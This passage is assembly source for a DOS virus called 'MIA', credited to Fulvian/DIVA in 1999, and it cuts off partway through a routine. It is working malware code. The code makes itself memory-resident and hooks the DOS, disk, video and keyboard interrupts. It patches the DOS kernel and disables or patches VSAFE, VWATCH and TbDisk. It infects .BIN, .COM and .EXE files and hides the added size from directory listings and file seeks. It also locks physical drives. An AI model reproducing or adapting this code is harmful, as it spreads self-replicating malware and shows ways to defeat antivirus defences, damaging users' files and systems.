;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ


Strategy:
 call   Flip                   ; Push all registers
 xor    bx,bx
 inc    bx
 mov    ds,bx
 cmp    ds:[bx + 73h],bx       ; INT 21h offset
 jae    Timeup
 cmp    ds:[bx + 75h],bx       ; INT 21h segment
 jb     Unload                 ; (0000h:0000h) ?

Timeup:
 add    ds:word ptr [0403h],Memory
 mov    al,10h                 ; What the hex! hooking INT 10h ??
 mov    cx,cs
 mov    dx,offset Intersperse  ; What for?? well, no time to explain! 8-)
 call   Revector
 mov    cs:word ptr [Video],dx
 mov    cs:word ptr [Video + 02h],cx
 mov    cs:byte ptr [Black_Hole + 01h],0A9h

Unload:
 call   Flop                   ; Restore registers
 ret


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Interrupt 10h handler ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Intersperse:
 cld
 call   Flip                   ; Save all registers
 cmp    ax,0DADAh              ; Yohoo! My baby's calling...
 jne    Overhaul
 cmp    si,0BABEh              ; Is that MIA ?
 jne    Overhaul
 cmp    di,0FEEDh              ; Oh really, that's My baby...
 jne    Overhaul
 add    ss:word ptr [bp + 12h],offset Loaded - offset Returned

Overhaul:
 mov    ah,51h
 sub    si,si
 int    21h                    ; Get current PSP segment into BX

Mainbrain:
 mov    ds,bx
 cmp    ds:word ptr [si],20CDh ; Must be a valid PSP
 jne    Shutdown
 cmp    ds:[si + 16h],bx       ; The highest PSP ? (first COMMAND.COM)
 mov    bx,ds:[si + 16h]
 jne    Mainbrain              ; i.e. parent segment is same with current one?
 cmp    ds:[si + 2Ch],bx       ; Check environment segment
 jbe    Shutdown               ; Must be above COMMAND.COM 
 mov    ah,30h                 ; I never wonder if Matthias Paul can intercept
 int    21h                    ; this function with his FREEVER.COM and return
 cmp    al,03h                 ; version prior to 4.00, really, it's nonsense!
 jna    Veer
 call   Scramble               ; Decrypt some codes!
 and    bx,si
 mov    cs:[F_Hand],bx         ; Free file handle
 call   Seek_Block             ; Look for last MCB in chain
 push   cs
 mov    ds:byte ptr [bx],4Dh   ; it won't be the last MCB anymore...
 pop    es
 call   Forward                ; Build MIA MCB
 call   Follow                 ; Search for DOS entry point
 call   Swapper                ; Patch DOS!
 call   Scramble               ; Encrypts!

Veer:
 mov    al,10h
 lds    dx,cs:[Video]          ; Restore video interrupt vector
 call   Vectorize

Shutdown:
 call   Flop
 db     0EAh                   ; Far JMP to video interrupt handler 

Video   dd 0C0001B26h


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; He, he, he...  I just added below subroutine just because  there are tricky
; programs which do sanity check by  checking the  amount of memory allocated
; to themselves,  this can only be done by .EXE programs. TBSCAN.EXE v7.0X is
; one of those programs.  Note that below procedure is completely nonsense if
; maximum memory paragraph field in header contains word smaller than 0010h
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ


Adjust:
 inc    ds:word ptr [si + 0Ch] ; Maximum paragraph of memory needed
 jz     Too_Much               ; Too much of something is bad enough... 8-)
 mov    cx,ds:[si + 02h]       ; Get .EXE loadable module size MOD 512
 mov    dx,(VirLen / 200h) * 20h
 jcxz   Divisible              ; CX = zero = original size is divisible by 512
 cmp    cx,0200h - (VirLen - ((VirLen / 200h) * 200h))
 jna    Zero_Mod               ; Jump if not above, it means that the last page
                               ; contains parts of host program, otherwise,
Divisible:                     ; 512 bytes memory have been allocated for
 add    dx,0020h               ; virus portion only.
                               
Zero_Mod:                      
 sub    es:[0002h],dx          ; Modify Top-Of-Memory field

Too_Much:
 ret


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Runs the Original Program ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Overlap:
 call   Scramble               ; Garble some bytes
 call   Freeware               ; Now permit boot-record infection

Backward:
 pop    es ds                  ; Restore DS & ES
 mov    ax,es                  ; AX = current PSP segment
 mov    bx,ss                  ; BX = stack segment
 cmp    ax,bx                  ; In .COM files execution, AX & BX are equal
 jne    Complexe               
 push   ds
 mov    di,0100h               ; (DS:0100h) back to .COM's entry point
 push   di
 db     2Eh                    ; CS:
 movsw
 db     2Eh                    ; CS:
 movsw
 xor    ax,ax                  ; Clear AX, (DESQview behaviour?)
 sahf                          ; Clear CF, ZF, SF, PF, and AF
 retf


                    SubTtl Adversis major, par secundis...


Complexe:                      ; Run .EXE file...
 cli
 push   cs
 pop    ds
 call   Adjust                 ; Adjust Top-Of-Memory field in PSP
 mov    ds,ax
 add    ax,0010h               ; First segment = PSP segment + 16
 add    cs:[si + 16h],ax       ; Add with initial CS to get real CS
 mov    sp,cs:[si + 10h]       ; Restore SP 
 add    ax,cs:[si + 0Eh]
 mov    ss,ax                  ; Restore SS
 sub    ax,ax                  ; Clear AX, (DESQview behaviour?)
 sahf                          ; Clear CF, ZF, SF, PF, and AF
 sti
 jmp    cs:dword ptr [si + 14h]


Beg_Cloak equ $


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Let Me brag for a while, blah, blah, blah... ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


 dw     0000h
 db     'This is Mia!',00h,00h  ; In Italian language, "mia" means "mine" or
 db     ' (P) & (C) 1999 '      ; "My property" 8-)
 db     'Fulvian/DIVA, (R'
 db     ') Mia Wijayanti,'
 db     ' Dempo Senior Hi'
 db     'gh School, Malan'
 db     'g - Indonesia. '

;db     'Bukan maksudku tidak mempedulikanmu, dan bukannya aku tak ingin kau '
;db     'tahu, tapi hanyalah rasa malu yang selalu membelenggu, membuat rindu'
;db     ' ini semakin menggebu-gebu, dan walaupun engkau tak akan pernah tahu'
;db     ', aku akan tetap menunggu hingga waktu berlalu, dan satu yang pasti,'
;db     ' kutahu yang kumau... cintamu, Mia... '

; Translated into (bad) English:

; It ain't that I do not take care of You, and it does not mean that I do not
; want You to know,  but the bashfulness which always shackles Me, makes this
; yearning becomes warmer and warmer, and even though You will never know it,
; I will still wait for all the rest of time,  and one thing for sure, I know
; what I really really want... it's Your love, Mia...


        db 'I (HAVE TO) LOVE YOU '
Note    db 'MIA, YOUR DEEPEST FEAR WILL SURFACE! FULVIAN BELIEVES IT ANYWAY...'
Insult  db 'Emang gue pikirin?'


Sound:                         ; Generate speaker beep
 mov    cx,0014h

Click:
 mov    al,0B6h
 out    43h,al                 ; Control the 8253/8254 PIT mode
 mov    al,0DCh
 out    42h,al                 ; Send AL to PIT counter 2
 mov    al,05h
 out    42h,al                 ; Send AL to PIT counter 2
 in     al,61h                 ; Read from system control port
 or     al,03h                 ; Open timer 2 clock speaker gate
 out    61h,al                 ; Send it to port
 mov    ax,8000h
 dec    ax                     ; Wait a sec...
 jnz    $ - 01h
 in     al,61h
 and    al,0FCh                ; Turn off speaker sound
 out    61h,al
 loop   Click
 mov    ax,VirLen
 call   Delay                  ; Do some delay
 dec    ax
 jnz    $ - 04h
 ret

Seek_Block:
 mov    ax,0FA01h              ; Uninstall VSAFE & VWATCH
 mov    dx,5945h               ; 'YE'
 int    16h
 mov    ah,52h
 push   es
 int    21h                    ; Get LoL (List-of-Lists) vector = ES:[BX]
 mov    dx,es:[bx - 02h]       ; ES:[BX-02h] = First MCB (DOS MCB)
 inc    dx
 pop    bx
 dec    bx
 mov    es,bx
 xor    bx,bx

More_Block:
 mov    si,bx                  ; Set SI equal to zero
 mov    ds,dx
 cmp    ds:byte ptr [bx],44h   ; 'D' - installed device driver (subsegment MCB)
 je     Subsegment
 cmp    ds:byte ptr [bx],4Dh   ; 'M' - valid MCB signature
 jne    True_Block
 add    si,0100h               ; If MCB in chain, there must be a PSP


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Patching TbDisk v7/v8 resident portion,  this is done by altering a byte in
; its resident segment. it's used to get the original ROM entry point of disk
; interrupt handler (TbDisk intercepts  that function and  returning its disk
; interrupt handler as ROM entry point). below's TbDisk v8.08's multiplex INT
; handler:
;
;     0CCB:00AB  9C                 PUSHF
;     0CCB:00AC  80 FC 13           CMP     AH,13 ÄÄÄ Set disk INT handler?
;     0CCB:00AF  74 06              JZ      00B7 ÄÄÄ Jump if yes
;     0CCB:00B1  9D                 POPF
;     0CCB:00B2  EA D6 01 F9 0B     JMP     0BF9:01D6 ÄÄÄ Relative address
;     0CCB:00B7  2E F6 06 16 00 01  TEST    CS:BYTE PTR [0016],01
;     0CCB:00BD  2E 87 16 4E 00     XCHG    DX,CS:[004E]
;     0CCB:00C2  2E 8E 06 50 00     MOV     ES,CS:[0050]
;     0CCB:00C7  2E 8C 1E 50 00     MOV     CS:[0050],DS
;     0CCB:00CC  06                 PUSH    ES
;     0CCB:00CD  1F                 POP     DS
;     0CCB:00CE  8B DA              MOV     BX,DX
;     0CCB:00D0  9D                 POPF
;     0CCB:00D1  CF                 IRET
;
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ


Subsegment:
 cmp    ds:word ptr [bx + 08h],4254h
 jne    True_Block             
 add    si,00BBh               ; Well, adjust offset instead of change DS
 lodsw
 cmp    ax,809Ch               ; PUSHF + CMP X,Y
 je     Watchdog
 sub    ax,5655h               ; PUSH  BP SI ?
 jnz    True_Block
 cmp    ds:word ptr [bx + 0Ah],454Dh
 jne    True_Block
 mov    ds:byte ptr [si + 0D5h],0D9h
 jmp    short True_Block

Watchdog:
 lodsw
 xor    ax,13FCh               ; X = AH, Y = 13
 jnz    True_Block
 lodsw
 add    ax,0F98Ch              ; JZ  $ + 06
 jnz    True_Block
 lodsw
 sub    ax,0EA9Dh              ; POPF + JMP  FAR XXXX:YYYY
 jnz    True_Block
 and    ds:[si - 03h],bh       ; Patch it!

True_Block:
 stc                           
 mov    cx,dx                  ; Add with segment of first byte beyond allocated
 mov    di,ds:[bx + 03h]       ; memory.   
 adc    dx,di
 cmp    ds:[bx + 01h],bx
 jne    Used_Block
 push   ds
 pop    es

Used_Block:
 cmp    ds:byte ptr [bx],5Ah   ; 'Z' - the last MCB in chain
 jne    More_Block
 mov    dl,5Ah
 ret


;ÄÄÄÄÄÄÄ[ Entry point (after decryption) of .BIN, .COM, .EXE, files ]ÄÄÄÄÄÄÄÄÄ


Vanguard:
 cld
 push   ds es

Grind:
 mov    ax,1983h               ; Yohoo...! MIA... My cutie...!
 mov    si,0BABEh              ; Are You there, sweetheart??
 mov    di,0FEEDh              ; Is that really You, honey??
 db     0BDh                   ; MOV BP,XXXX

Delta   dw offset VirBeg       ; Relocation constant

 sti
 int    21h                    ; uhm... *smack*
 mov    ax,0DADAh              ; This is alternative call, if MIA has been
 int    10h                    ; resident (on booting) but hasn't hooked INT 21h

Returned:
 mov    ah,30h                 ; Obtain DOS version,
 int    21h                    ; this check is lame 'cause can be easily faked
 cmp    al,04h                 ; by changing the word at PSP:0040h, instead
 jb     Loaded                 ; we can use AX=3306h to do it for DOS v5.00+
 call   Seek_Block             ; Search for last MCB in chain
 pop    si                     ; SI = current PSP segment
 push   si
 dec    si                     ; SI = current PSP's MCB
 sub    di,ParSiz              ; Subtract needed number of paragraphs
 jbe    Unfit                  ; Jump if there's enough space for us
 cmp    ds:[bx + 01h],bx       ; Is the last MCB in chain a free block?
 je     Free_Block             ; Yes, so jump
 cmp    si,cx                  ; Is it the host program's MCB ?
 je     Free_Block             ; Bomb if yes

Unfit:
 mov    dl,4Dh                 ; 'M'

Unable:
 mov    cx,si                  
 mov    ds,cx                  ; DS = CX = SI = host's MCB
 mov    di,ds:[bx + 03h]       ; Get its size
 sub    di,ParSiz              ; Subtract needed paragraphs number from it
 ja     Free_Block             ; Branch if enough space

Another_Block:
 mov    si,es                  ; Try another block...
 cmp    cx,si                  
 jne    Unable     

Loaded:
 push   0000h
 int    11h                    ; Obtain BIOS equipment list byte
 pop    ds
 sub    ax,ds:[0410h]          ; This is the same as invoking INT 11h above,
 xor    ax,offset Backward     ; so AX will be zero, but some emulators, for
 add    ax,bp                  ; instance, TbClean passes INT 11h, so what'll
 push   ax cs                  ; happen then? crash!! (but I doubt whether
 pop    ds                     ; TbClean can reach this point, since it always
 lea    si,[bp + 03h]          ; stops within polymorphic decryptor).
 jmp    Scrap                  ; Decrypt file header

Free_Block:
 mov    ax,cx
 inc    ax
 stc
 adc    ax,di                  ; AX = our brand-new viral segment
 push   ax
 mov    ax,bp                  ; Get delta offset,
 shr    ax,04h                 ; convert it into paragraphs
 inc    ax                     ; Just to make sure...
 mov    si,cs
 add    si,ax
 pop    ax
 sub    si,ax
 jnc    Low_Block              ; CF=0 ÄÄÄ new segment is below host's MCB ??
 cmp    si,-((VirLen / 10h) + 11h)
 jnbe   Another_Block          ; ??

Low_Block:
 mov    ds:byte ptr [bx],4Dh   ; It will be no longer the last MCB
 mov    ds:[bx + 03h],di       ; Modify last block size
 cmp    ds:word ptr [bx + 10h],20CDh
 jne    Invalid_PSP
 sub    ds:word ptr [bx + 12h],ParSiz

Invalid_PSP:
 mov    es,ax                  ; ES = MIA's first transient segment
 call   Forward                ; Build viral MCB
 mov    cx,(VirLen - Mutant) / 02h
 mov    si,bp                  ; BP contains the Beginning-Of-Virus
 and    di,bx                  ; Copy codes to first resident block...
 db     2Eh                    ; CS:
 repe   movsw                  ;    [SI] ÄÄÄ ES:[DI]
 mov    dx,0005h               ; Drive permissions, allow writes & formatting
 mov    cx,084Bh               ; Function CX=084Bh, lock physical drive
 mov    bh,01h                 ; BH = lock level, BL = physical drive number

Lockup:
 mov    ax,440Dh               ; DOS function AX=440Dh, generic IOCTL
 int    21h                    ; This function is only valid if MS-DOS version
 inc    bx                     ; is 7.00 or greater (Win32)!!
 cmp    bl,81h                 ; Lock all physical floppy drives and first
 jb     Lockup                 ; hard drive only

 sub    bx,bx
 mov    es:byte ptr [Black_Hole + 01h],0A9h
 mov    es:[F_Hand],bx
 call   Follow                 ; Look for INT 21h entry point
 cli                           ; Disable interrupts
 mov    si,0805h               ; ???
 mov    ds,bx                  ; (0000h:0806h) original INT 13h to restore on
 lodsb                         ; system halt or INT 19h call
 cmp    al,13h                 ; Vector of original INT 13h ??
 jne    Strange
 lodsw                         ; Load a word
 xchg   ax,dx                  ; Store it into DX
 lodsw                         ; Get its segment
 cmp    ax,0C000h              
 mov    ds,ax                  ; Store it into DS
 jb     Strange                
 inc    ax                     ; Address points to HMA ?
 jnz    Kernel                 ; If not, then believe it... 8-)

Strange:
 push   es
 mov    ah,13h                 ; Multiplex interrupt, service AH=13h
 int    2Fh                    ; Get and set disk interrupt handler
 pop    es

Kernel:                        ; DS:DX is now holding INT 13h ROM entry point
 push   es                     ; instead we can take it from 0070h:00B4h
 call   Uppercore              ; Install interrupts
 mov    ah,13h                 ; Get/set disk interrupt handler
 mov    bx,dx
 int    2Fh                    ; Now hook INT 13h

 pop    ds                     ; DS now holds MIA's resident segment
 call   FreeVector             ; Get random interrupt in AL
 mov    dx,offset Grip
 push   ds
 call   Vectorize              ; Point the interrupt to viral INT 09h handler
 xor    al,0CDh                ; INT opcode
 mov    bx,ds                  ; BX = zero
 pop    es
 mov    di,offset Prebuff
 mov    ah,es:[di - 01h]
 mov    ds:[04EEh],ax          ; Put INT ?? opcode at 0000h:04EEh
 lds    si,ds:[bx + 24h]       ; Load INT 09h vector
 mov    es:word ptr [Keyboard],si
 mov    es:word ptr [Keyboard + 02h],ds
 movsw
 movsw                         ; Copy the first 5 bytes into buffer
 movsb
 mov    ds:byte ptr [si - 05h],0EAh
 mov    ds:word ptr [si - 04h],04EEh
 mov    ds:[si - 02h],bx       ; Now the first instruction at INT 09h vector
 sti                           ; is a far JMP to 0000h:04EEh
 add    cs:byte ptr [bp + ExOr],0F8h
 call   Scramble               ; Scramble some bytes
 mov    cs:byte ptr [bp + Swapper + 03h],26h
 sub    cs:byte ptr [bp + ZigAZig],08h
 call   Swapper                ; Now hook INT 21h
 jmp    Grind                  ; You may say that 'tis also an anti-emulator
                               ; technique
Forward:
 mov    cx,es
 dec    cx
 mov    ds,cx                  ; DS = Viral MCB
 mov    ds:[bx],dl             ; Block mark
 mov    ds:word ptr [bx + 03h],VirPar

Remark:
 mov    ah,53h
 in     al,40h
 and    al,01h
 add    al,43h                 ; 'SC' - System Code or 'SD' - System Data
 xchg   ah,al
 mov    ds:word ptr [bx + 01h],0008h
 mov    ds:[bx + 08h],ax       ; Name of block owner
 mov    ds:[bx + 0Ah],bh       ; Ends with ASCIZ (is this necessary?)
 ret


                 SubTtl Cum deo bene, faciendo bene faciet...


Follow:
 push   bx es
 mov    ah,52h                 ; Get DOS List-Of-Lists
 int    21h
 lds    si,es:[bx + 04h]       ; Load pointer to first System File Table
 lds    si,ds:[si - 04h]       ; ??

Sideswipe:
 dec    si                     ; Backward search
 jnz    Keep_Seek               
 mov    ds,si
 lds    si,ds:[0084h]          ; If not found, take the vector from IVT
 jmp    short Standard


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Let's assume the vector of INT 21h in IVT points at 00C9:0FB2
;
;     00C9:0FB2  90                 NOP ÄĀÄ These 2 NOPs will be a short JMP
;     00C9:0FB3  90                 NOP ÄŁ  to 0FB7 if no XMS driver installed                                 
;     00C9:0FB4  E8 CE 00           CALL    1085 ÄÄÄ A20 line check subroutine                            
;     00C9:0FB7  2E FF 2E 82 0F     JMP     CS:FAR [0F82] ÄÄÄ JMP FF33:41E9                        
;
; This is MS-DOS v7.10 kernel, take a look! (MIA hasn't yet TSR)
;
;     FF33:41E5  8A E1              MOV     AH,CL ÄÄÄ For CP/M style call
;     FF33:41E7  EB 06              JMP     41EF                             
;     FF33:41E9  FA                 CLI           ÄÄÄ DOS kernel entry point                            
;     FF33:41EA  80 FC 73           CMP     AH,73                              
;     FF33:41ED  77 D2              JA      41C1                               
;     FF33:41EF  80 FC 33           CMP     AH,33 ÄÄÄ Target JMP of CP/M call                             
;     FF33:41F2  72 18              JB      420C                               
;     FF33:41F4  74 A2              JZ      4198                               
;
; And now MIA has already been resident, behold!
;
;     FF33:41E5  8A E1              MOV     AH,CL
;     FF33:41E7  EB 06              JMP     41EF                               
;     FF33:41E9  FA                 CLI                            
;     FF33:41EA  80 FC 73           CMP     AH,73                              
;     FF33:41ED  77 D2              JA      41C1                               
;     FF33:41EF  CD 83              INT     83 ÄÄÄ Points at viral handler                               
;     FF33:41F1  33 72 18           XOR     SI,[BP+SI+18]                      
;     FF33:41F4  74 A2              JZ      4198                               
;
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ


Keep_Seek:
 cmp    ds:word ptr [si],0E18Ah
 jne    Sideswipe              ; MOV AH,CL ÄÄÄ for CP/M call style (see above)
 cmp    ds:byte ptr [si + 02h],0EBh
 jne    Sideswipe              ; Short JMP ?
 add    si,0003h
 lodsb                         ; Get JMP displacement
 cbw                           ; Convert byte into word
 add    si,ax                  ; DS:[SI] = JMP's target

Standard:
 pop    es bx
 mov    es:word ptr [Viral_Interrupt],si
 mov    es:word ptr [Viral_Interrupt + 02h],ds
 ret


;ÄÄÄÄÄÄ[ Check whether file at DS:SI has BIN/COM/EXE extension or not ]ÄÄÄÄÄÄÄ


Specify:
 lodsb
 or     al,al
 jnz    Specify                ; Looking for ASCIZ
 mov    cl,0Eh
 lea    si,[si - 03h]
 std                           ; Decrement direction
 lodsw
 and    ax,0DFDFh
 cmp    ax,4D4Fh               ; 'MO' - .COM file?
 jne    Rendition
 mov    ch,43h                 ; 'C.'

Lastword:
 lodsw
 and    ax,0DFDFh              ; Convert AX to uppercase
 cmp    cx,ax                  

Invalid:
 cld
 ret

Rendition:
 cmp    ax,4558h               ; 'EX' - is it .EXE file?
 jne    Binary
 xchg   ch,ah                  ; 'E.'
 jmp    short Lastword

Binary:
 xor    ax,4E49h               ; 'NI' - ?IN
 jnz    Invalid
 mov    ch,42h                 ; 'B' - .BIN file?
 jmp    short Lastword


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=4Eh/4Fh dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Underground:
 popf
 int    03h                    ; Call DOS function first
 pushf
 jc     Quickie
 call   Flip                   ; Push 'em
 mov    ah,2Fh
 int    03h                    ; Get DTA address
 push   es
 lea    si,[bx + 1Eh]          ; ES:[BX+1Eh] = ASCIZ filename
 sub    di,di
 pop    ds                     ; DS = ES
 call   Specify
 je     Interweave
 jmp    short Failure          ; Jump if not .BIN, .COM, or .EXE


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=11h/12h dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Impulsive:                     ; Try to hide file size thru FCB
 popf
 int    03h
 pushf
 and    al,al
 jnz    Quickie
 call   Flip                   ; Push all registers
 mov    ah,2Fh
 mov    di,0002h
 int    03h                    ; Get DTA address

 cmp    es:byte ptr [bx],0FFh  ; Normal/eXtended FCB ? (NFCB/XFCB)
 jb     Inextend               
 lea    bx,[bx + di + 05h]     ; XFCB has an additional seven bytes. 
                               
Inextend:                      ; Then, check attributes for infection mark
 push   es
 mov    ax,5845h               ; 'XE'
 inc    bx                     
 pop    ds                     ; DS = ES

 cmp    ds:[bx + 08h],ax       ; Blank-padded filename, so extension is always
 je     Affirm                 ; at ES:[BX+08h]
 add    al,09h                 ; 'N'
 cmp    ds:word ptr [bx + 08h],4942h
 je     Affirm
 dec    ax                     ; 'M'
 cmp    ds:word ptr [bx + 08h],4F43h
 jne    Failure

Affirm:
 cmp    ds:[bx + 0Ah],al       ; Third character of file extension
 jne    Failure

Interweave:
 cmp    ds:byte ptr [bx + 19h],0C7h
 jbe    Failure
 push   bx di
 call   Unarchive              ; A sucker is around?
 pop    di bx
 jbe    Failure                ; Need to kick some ass?

 les    dx,ds:[bx + di + 1Ah]  ; Get 32-bit file size
 mov    cx,es                  ; Copy hi-size into CX
 sub    dx,VirLen              ; Subtract virus size from file size
 sbb    cx,0000h               ; Fixup for hi-size
 jb     Failure                ; ??
 mov    ds:[bx + di + 1Ah],dx
 mov    ds:[bx + di + 1Ch],cx  ; Set new size, 8-)

Failure:
 call   Flop                   ; Pop all registers

Quickie:
 jmp    Request


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=57h dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Stamp:
 cmp    al,01h                 ; Get/set date/time stamps?
 ja     Saviour                ; Branch if not
 call   Verify
 test   al,al                  ; Zero AL ?
 jz     Awesome                ; Jump if getting stamps
 cmp    dh,37h                 ; Year 2007+ ?
 jnbe   Saviour
 add    dh,0C8h                ; If not above, back to the future... he he he...

Awesome:
 popf
 int    03h                    ; Obtain the stamps
 pushf
 sub    dh,0C8h                ; He he he... turn back the time...

Helper:
 jmp    short Quickie



;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=42h dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Pointseek:
 cmp    al,02h                 ; Lseek from EOF ?
 jne    Saviour             
 call   Verify                 ; Check the infection mark
 push   cx
 sub    dx,VirLen              ; Adjust pointer
 sbb    cx,0000h               ; so He won't be able to touch My MIA
 int    03h
 pop    cx                     ; Restore CX 
 jmp    short Quickie


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=3Ch/5Bh/6Ch dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

                               ; This routine is shared with function 3Ch, 5Bh,
Creative:                      ; and 6Ch to be efficient
 cmp    cs:[F_Hand],0001h      
 jb     Brand_New              

Saviour:                       
 jmp    Clueless               ; If not zero, We're waiting for an opened file

Brand_New:
 pusha                         ; Push all registers except segment ones
 cmp    ah,6Ch                 ; Extended open/create?
 je     Extensive
 mov    si,dx                  ; if not, it's at DS:DX

Extensive:
 call   Specify                ; Check filename at DS:[SI]
 popa                          ; Pop all registers except segment ones
 jne    Saviour                ; Bail out if not .BIN, .COM, or .EXE
 popf                          ; Restore flags state
 mov    cs:[Stuff_01],ah   
 int    03h                    ; Execute original interrupt
 pushf                         ; Ugh! save flags again
 jc     Quickie                ; Error, MIA isn't responsible for that

 call   Flip                   ; Push all registers
 push   cs
 mov    cs:[F_Hand],ax         ; Store file handle
 cmp    cs:[Stuff_01],6Ch
 je     Extraneous             ; Jump if extended open/create
 sub    cx,cx                  
 mov    si,dx                  ; It's at DS:DX

Extraneous: 
 mov    ah,60h                 ; DOS service AH=60h
 mov    di,offset FileName     ; Canonize filename and put result at ES:[DI]
 pop    es
 int    03h
 dec    cx                     ; Check it out, open or create?
 call   Flop
 jnz    Quickie                ; Jump if not open file
 mov    ah,6Ch
 call   Flip                   ; If opening file, the file already exists
 jmp    short Macron           ; So go infect it!


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=60h dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; This handles function AH=60h which is generated by (undocumented)  TRUENAME
; command, so any .BIN/.COM/.EXE file typed as its parameter will be infected
; as long as it exists 8-), for example, typing "TRUENAME C:\DIVA.EXE" at DOS
; prompt will cause the file C:\DIVA.EXE to be infected.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ


Canonicalization:
 popf
 int    03h                    ; Call the function
 pushf
 jc     Helper                 ; There's a problem, branch
 mov    cs:[Character],ah      ; Store returned AH, usually 00h or 3Dh
 mov    ah,60h                 
 call   Flip                   ; Push all registers
 push   es
 cld                           ; Clear direction flag
 mov    si,di
 pop    ds                     ; ES:[DI] = buffer for canonized file/path name
 jmp    short Seename


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=44h dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


IO_Control:
 cmp    al,0Dh                 ; Generic block device request?
 jne    Saviour                ; Branch if not
 cmp    cx,0871h               ; Category code 08h, minor code 71h? (get file's
 jne    Saviour                ; first cluster)


;ÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=3Dh/41h/43h/4Bh/56h dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; AX=4B00h : Loads & executes program at DS:DX with parameter at ES:[BX]
; AX=4B01h : Same as above but loads only (do not execute) 
; AX=4B03h : Loads overlay at DS:DX
; AX=4B04h : Loads and execute in European MS-DOS background
; AX=4B05h : Set execution state
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ


Multitude:                     ; DS:DX points filename
 call   Flip
 cmp    ah,4Bh                 ; Execution?
 mov    si,dx                  ; Make DS:[SI] points at filename
 jne    Seename
 cmp    al,05h                 ; Set execution state?
 ja     Saviour                ; Above?? yeah many viruses use this
 jb     Seename                ; Below?? no need to set up
 lds    si,ds:[si + 04h]       ; DS:[SI+04h] = pointer to ASCIZ filename

Seename:
 push   si
 call   Specify                ; Only allow .BIN, .COM, & .EXE files
 pop    si
 jne    Trixie

Macron:
 mov    cs:word ptr [F_Off],si
 mov    cs:word ptr [F_Off + 02h],ds    
 mov    al,ss:[bp + 11h]       ; Get requested function number
 cmp    al,0Eh                 ; Function: change default drive?
 je     Outside                ; Branch if yes
 push   cs
 mov    cx,(offset Internal - offset Bait) - 01h
 mov    si,cs:word ptr [F_Off]
 mov    di,offset Internal - 01h

Increment:
